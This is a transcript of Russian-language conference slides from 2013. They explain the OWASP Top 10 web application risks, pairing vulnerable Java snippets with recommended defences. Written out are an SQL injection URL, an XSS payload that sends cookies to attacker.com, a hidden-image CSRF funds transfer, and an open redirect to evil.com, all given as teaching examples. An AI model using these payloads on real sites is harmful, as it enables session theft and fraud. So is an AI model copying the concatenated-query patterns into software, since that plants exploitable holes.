2013 09 21 безопасность веб-приложений

36

Transcript of 2013 09 21 безопасность веб-приложений

Page 1: 2013 09 21 безопасность веб-приложений
Page 2: 2013 09 21 безопасность веб-приложений

Тарас ИващенкоАдминистратор ИБ

Безопасность веб-приложений

Page 3: 2013 09 21 безопасность веб-приложений
Page 4: 2013 09 21 безопасность веб-приложений

4

Терминология

Угроза — это потенциально возможное событие, которое посредством воздействия на компоненты информационной системы (ИС) может привести к нанесению ущербаУязвимость — это свойство ИС, использование которой нарушителем может привести к реализации угрозыАтака — это любое действие нарушителя, которое приводит к реализации угрозы путём использования уязвимостей ИС

Page 5: 2013 09 21 безопасность веб-приложений

5

OWASP Top 10

OWASP — The Open Web Application Security ProjectOWASP Top 10 — «Топ» 10 самых критичных рисков безопасности веб-приложений

Page 6: 2013 09 21 безопасность веб-приложений

6

Веб-приложение использует входные данные при конструировании SQL-запросов к БД

String query = "SELECT * FROM accountsWHERE custID='"+ request.getParameter("id") +"'";

Инъекции

Злоумышленник подготовливает следующий URL

http://example.com/app/accountView?id=' or '1'='1

Page 7: 2013 09 21 безопасность веб-приложений

7

Инъекции. Защита

Параметризированные запросыЭскейпинг небезопасных данных перед использованием в SQL-запросе

Page 8: 2013 09 21 безопасность веб-приложений

8

Веб-приложение использует механизм сессий, основанный на использовании кук

GET /messages HTTP/1.1Host: victim.comCookie: session_id=857817;

Ошибки в реализации аутентификации и сессий (½)*

Злоумышленник перебирает сессионный идентификатор и получает доступ к сессиям пользователей

Page 9: 2013 09 21 безопасность веб-приложений

9

Ошибки в реализации аутентификации и сессий (2/2)

Фиксация сессийПерехват паролей в открытом виде«Угадывание» сессионных идентификаторовПередача сессионных идентификаторов как URL-параметрПеребор существующих учётных записей через форму логина

Page 10: 2013 09 21 безопасность веб-приложений

10

Ошибки в реализации аутентификации и сессий. Защита

Безопасная реализация механизмов аутентификации и управления сессиями — сложная задачаOWASP's Application Security Verifcation Standard: V2 (Authentication) and V3 (Session Management)

Page 11: 2013 09 21 безопасность веб-приложений

11

В веб-приложении при генерации страницы используются без предварительной обработки входные параметры

page += "<input name='creditcard' type='TEXT'value='" + request.getParameter("CC") + "'>";

Межсайтовый скриптинг (XSS) (1/2)

Page 12: 2013 09 21 безопасность веб-приложений

12

Злоумышленник, узнав про это, конструирует зловредную ссылку и заманивает на неё жертву

http://example.com/foo?CC='><script>document.location='http://attacker.com/sniffer.php?'%20+document.cookie</script>

Межсайтовый скриптинг (XSS) (2/2)

Page 13: 2013 09 21 безопасность веб-приложений

13 XSS

Page 14: 2013 09 21 безопасность веб-приложений

14

XSS. Защита

Валидация входных данных и их обработка («эскейпинг») при генерации страницВажен HTML-контекст (body, attribute, JavaScript, CSS, URL)!Внедрите Content Security PolicyHTTPOnly сессионные куки

Page 15: 2013 09 21 безопасность веб-приложений

15

Веб-приложение используют значение параметра acct для получения информации о состоянии счёта пользователя

String query = "SELECT * FROM acctsWHERE account = ?";PStatement pstmt = con.prepareStatement(query , ... );pstmt.setString(1, request.getParameter("acct"));ResultSet results = pstmt.executeQuery();

Небезопасное указание на внутренние объекты (1/2)

Page 16: 2013 09 21 безопасность веб-приложений

16

Злоумышленник, манипулируя значением acct, получает информацию других пользователей

http://example.com/app/accountInfo?acct=notmyacct

Небезопасное указание на внутренние объекты (2/2)

Page 17: 2013 09 21 безопасность веб-приложений

17

Небезопасное указание на внутренние объекты. Защита

Проверять авторизациюМинимизировать использование прямых указателей на системные объекты

Page 18: 2013 09 21 безопасность веб-приложений

18

Небезопасная конфигурация*

Ошибки безопасности при развёртывании и конфигурировании веб-окруженияbackup.tar.gz, предустановелненные учётные записи (DBSNMP/DBSNMP в Оракле), необновляемое ПО, забыли включить защиту от ...

Page 19: 2013 09 21 безопасность веб-приложений

19

Небезопасная конфигурация. Защита

Хорошо поставленный процесс развёртывания и конфигурирования веб-окруженияМаксимально автоматизированный + чеклистыРегулярные сканированияУстанавливайте обновления безопасности!

Page 20: 2013 09 21 безопасность веб-приложений

20

Раскрытие критичных данных*

Веб-приложение хранит критичную информацию в открытом виде в базеМы написали свой «суперстойкий» алгоритм шифрованияПароли «хэшируются, но не солятся»Критичная информация передаётся по открытому каналуСамоподписанные сертификаты

Page 21: 2013 09 21 безопасность веб-приложений

21

Раскрытие критичных данных. Рекомендации

Используйте стандартные реализации/библиотеки алгоритмов шифрованияПравильная настройка SSL: сертификаты, алгоритмы, Secure для сессионной куки, HSTSРегулярные сканирования

Page 22: 2013 09 21 безопасность веб-приложений

22 «Солите хэши»

Page 23: 2013 09 21 безопасность веб-приложений

23

У веб-приложения есть административная панель, доступ в которую ограничен только знанием «секретного адреса»

http://victim.com/nimda/

Ошибки авторизации*

Злоумышленник попросту «угадывает» URL и получает неавторизованный доступ!

Page 24: 2013 09 21 безопасность веб-приложений

24

Ошибки авторизации. Рекомендации

Правильно реализованные аутентификация и авторизация пользователейПолитики и ролиДоступ запрещён по умолчанию

Page 25: 2013 09 21 безопасность веб-приложений

25

Веб-приложение позволяет при переходе по обычной ссылке выполнять какое-нибудь действие

http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243243

Межсайтовая подделка запросов (CSRF) (1/2)

Page 26: 2013 09 21 безопасность веб-приложений

26

Злоумышленник подготавливает специальный URL, при загрузке которого будет осуществлён перевод денег со счёта жертвы на его, и размещает его в виде картинки на популярном ресурсе

<img src="http://example.com/transferFunds?amount=1500&destinationAccount=attackersAcct#"width="0" height="0" />

CSRF (2/2)

Page 27: 2013 09 21 безопасность веб-приложений

27 CSRF

Page 28: 2013 09 21 безопасность веб-приложений

28

CSRF. Защита

Подписывание запросов специальными токенамиДополнительно к токенам рекомендуется все действия переводить на POST-запросПроверка источника запроса

Page 29: 2013 09 21 безопасность веб-приложений

29

Использование небезопасных компонент*

Page 30: 2013 09 21 безопасность веб-приложений

30

Использование небезопасных компонент. Рекомендации

Составьте список всех используемых сторонних компонентСледите за новостями и вовремя «обновляйтесь»Отключайте ненужную функциональностьВнедрите автоматизированные проверки

Page 31: 2013 09 21 безопасность веб-приложений

31

В веб-приложении используется скрипт «redirect.jsp», который принимает входным параметром «url» адрес, на который будет перенаправлен пользователь

http://www.example.com/redirect.jsp?url=evil.com

Открытое перенаправление

Page 32: 2013 09 21 безопасность веб-приложений

32 Открытое перенаправление

Page 33: 2013 09 21 безопасность веб-приложений

33

Открытое перенаправление. Защита

Не использовать редирект на внешние ресурсы«Страница подтверждения» для неизвестных адресов

Page 34: 2013 09 21 безопасность веб-приложений

34 Посмотреть

Page 35: 2013 09 21 безопасность веб-приложений

35

Информация к размышлению

Посмотреть на HTTP-трафик популярных веб-приложенийOWASP Top 10 clck.ru/8aC-Q2011 CWE/SANS Top 25 Most Dangerous Software Errors clck.ru/8aC-KOWASP WebGoat clck.ru/8aC-U

Page 36: 2013 09 21 безопасность веб-приложений

Тарас Иващенко

Администратор информационной безопасности

[email protected]

Спасибо